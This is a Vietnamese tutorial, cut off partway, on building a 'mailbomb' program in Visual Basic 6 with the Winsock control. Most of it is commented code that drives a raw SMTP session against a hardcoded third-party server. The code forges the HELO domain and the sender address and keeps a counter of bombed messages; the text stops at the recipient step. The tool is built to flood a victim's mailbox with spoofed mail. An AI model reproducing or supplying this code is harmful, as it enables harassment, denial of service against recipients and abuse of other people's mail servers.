Làm chương trình bommail bằng VB
trang này đã được đọc lần
Phần chuẩn bị đầu tiên của chương trình là:
1. Tất nhiên là phải mở Microsoft Visual Basic (tôi sử dụng phiên bản 6.0)
2. Tạo một Form mới (tôi đặt tên Form này là frmMain)
3. Vào trên thanh Menu -->Project -->Components-->đánh dấu chọn vào mục Microsoft Winsock
Control 6.0, sao đó nhấn OK thoát ra và kéo nó vào trong frmMain (nó sẽ có tên mặt định là
Winsock1, cứ để nó thế nếu bạn muốn đổi tên cho khác một tý thì phần source dưới đây bạn
phải đổi tên các sub Event cho nó nha.)
4. Tạo một nút lệnh (command) và đặt tên nó là cmdBomb.
5. Tạo một label có tên là lblStatus thông báo trạng thái của tiến trình
6. nhấn phải ngay frmMain vào phần View Code và bắt đầu nhá.
Và đây là đoạn code của chương trình tôi sẽ cố gắn chú thích trước mỗi đoạn code cho các bạn
dễ nắm.
'----------------------
'Khai bao bien
'Bien kiem soat cau lenh goi di
Dim strCaulenh As String
'Bien de nhan thong tin tu server goi ve
Dim strData As String
'Bien de kiem soat so luong mail da goi di
Dim intbomb As Integer
'Tao Function cau lenh connect vao smtp server va tra ve cho ham mot chuoi ky tu dai dien de
de be kiem soat.
Function clConnect(sckSend As Winsock, MailServerName As String) As String
'Kiem tra tinh trang cua sockket neu no o trang thai dong thi tien hanh ket noi
If sckSend.State = sckClosed Then
'Thiet lap Protocol
sckSend.Protocol = sckTCPProtocol
'Khai bao SMTP server se cho vao ham
sckSend.RemoteHost = MailServerName
'Khai bao Cong ket noi thuong la cong 25
sckSend.RemotePort = 25
'Goi cau lenh ket noi
sckSend.Connect
'Tra ve cho ham chuoi "Connect to" phan nay rat quan trong vi dung de kiem tra cung voi gia tri
do server tra ve xem ket noi da OK hay chua.. ban se hieu ro muc dich cua phan nay. Day chinh
la su khac biet ma toi da nghien cuu va so sanh voi cac source bomb mail tuong tu va toi nhan
thay no rat hieu qua va don gian hon bat cu giai thuat nao khac. Moi ham sau day deu tra ve
mot chuoi thong bao tuong tu
clConnect = "Connect to"
End If
End Function
'Tao Function goi cau lenh "helo" toi server ban nen luu y la moi cuoi cau lenh deu co ky tu dai
dien cho phim Enter.
Function clHelo(sckSend As Winsock, txthello As String) As String
sckSend.SendData ("helo " + txthello + vbCrLf)
clHelo = "Helo"
End Function
'Tao Function goi cau lenh "mail from:" co them bien dia chi mail nguoi goi
Function clMailfrom(sckSend As Winsock, txtmailfrom As String) As String
sckSend.SendData ("mail from: " + txtmailfrom + vbCrLf)
clMailfrom = "Mail From"
End Function
'Tao Function goi cau lenh "rcpt to: " co them bien dia chi mail nguoi nhan
Function clRcptto(sckSend As Winsock, txtmailto As String) As String
sckSend.SendData ("rcpt to: " + txtmailto + vbCrLf)
clRcptto = "Rcpt To"
End Function
'Tao Function goi cau lenh "data" cau lenh bat dau mot noi dung cua buc thu
Function clData(sckSend As Winsock) As String
sckSend.SendData ("data" + vbCrLf)
clData = "Data"
End Function
'Tao function goi noi dung buc thu va co ket thuc la dau enter+ dau . + enter
Function clBody(sckSend As Winsock, strFromName As String, strToName As String, strSubject As
String, strBody As String) As String
'khai bao cac bien tam theo thu tu
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
'ai goi ??
Fourth = "From:" + Chr(32) + strFromName + vbCrLf
'Ai nhan ??
Fifth = "To:" + Chr(32) + strToName + vbCrLf
'Chu de buc thu
Sixth = "Subject:" + Chr(32) + strSubject + vbCrLf
'noi dung buc thu
Seventh = strBody + vbCrLf
'phan dau tien cua buc thu duoc goi truoc
Eighth = Fourth + Fifth + Sixth
'goi di phan dau
sckSend.SendData (Eighth + vbCrLf)
'goi tiep noi dung
sckSend.SendData (Seventh + vbCrLf)
'ket thuc noi dung va goi thu di
sckSend.SendData ("." + vbCrLf)
clBody = "Body"
End Function
'Tao ham thoat khoi server
Function clQuit(sckSend As Winsock) As String
sckSend.SendData ("quit" + vbCrLf)
clQuit = "Quit"
End Function
'va day la su kien khi nut lenh cmdBomb duoc click
Private Sub cmdbomb_Click()
lblStatus.Caption = ""
'hien thoi chua co mail nao duoc goi
intbomb = 0
'Bay loi
On Error GoTo thongbaoloi
'noi vao SMTP server co IP o day toi chon la 203.162.0.27
'Cac ban cung co the thay doi la "host name" hay IP address deu duoc ca. hoac co the xem chu
thich 1 tai cuoi bai.
strCaulenh = clConnect(Winsock1, "203.162.0.27")
Exit Sub
thongbaoloi:
lblStatus.Caption = "Kiem tra ket noi cua ban"
End Sub
'Day la phan quan trong nhat cua chuong trinh, cac ban nen nam ro sau nay co the dung thuat
toan nay de phat trien khong chi la goi thu qua SMTP server ma con nhan thu tu Pop3 ...
'Nhung gi server tra thong bao ve se nam o day
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
'lay du lieu tu server tra ve
Winsock1.GetData strData
'bao ra nhan
lblStatus.Caption = strData
'neu 3 ky tu dau cua chuoi ma server tra ve sau khi nhan
'duoc cau lenh connect co gia tri la "220" tuc la server da
'chap nhan ket noi thi thuc hien tiep cau lenh "helo"
If (strCaulenh = "Connect to" And Left(strData, 3)= "220") Then
'xoa gia tri cho bien
strCaulenh = ""
strData = ""
strCaulenh = clHelo(Winsock1, "hotmail.com")
End If
'Tuong tu nhu tren neu moi viec dien ra tot dep thi goi tiep cau lenh "mail from: mail nguoi goi"
co the xem them chu thich 2 cuoi bai.
If (strCaulenh = "Helo" And Left(strData, 3) = "250") Then
strCaulenh = ""
strData = ""
strCaulenh = clMailfrom(Winsock1, "mail nguoi goi")
End If
'Lan luoc goi tiep cac cau lenh tiep theo voi dieu kien chuoi ky tu cua server tra ve hoan toan hop
le
If (strCaulenh = "Mail From" And Left(strData, 3) = "250") Then
strCaulenh = ""
strData = ""
strCaulenh = clRcptto(Winsock1, "mail nguoi nhan")
'xem chu thich vuoi bai
End If